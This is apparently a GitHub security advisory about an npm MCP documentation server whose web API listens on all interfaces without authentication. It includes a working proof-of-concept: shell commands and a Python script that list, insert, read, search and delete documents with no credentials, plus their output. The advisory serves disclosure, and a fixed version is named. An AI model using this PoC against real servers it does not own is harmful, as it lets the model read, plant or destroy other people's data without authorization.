GitHub Advisoryadvisory Β· npm

GHSA-6f5r-5672-72j7 @andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default

HIGH Published 2026-07-15 Modified 2026-07-15 Official page β†—
Aliases
CVE-2026-54504
Ecosystem
npm
Packages
@andrea9293/mcp-documentation-server
Severity
High
CVSS vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-306, CWE-668
Reviewed
2026-07-15

Affected packages

β€’ npm @andrea9293/mcp-documentation-server: >= 1.13.0, < 1.13.1 β†’ fixed in 1.13.1

Description

Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. PoC Tested on v1.13.0. 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ /tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] rea…

Related

Alias Β· CVE (1)

  • CVE-2026-54504 MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. vulnerability

Weakness Β· CWE (2)

  • CWE-306 Missing Authentication for Critical Functionality weakness
  • CWE-668 Exposure of Resource to Wrong Sphere weakness

References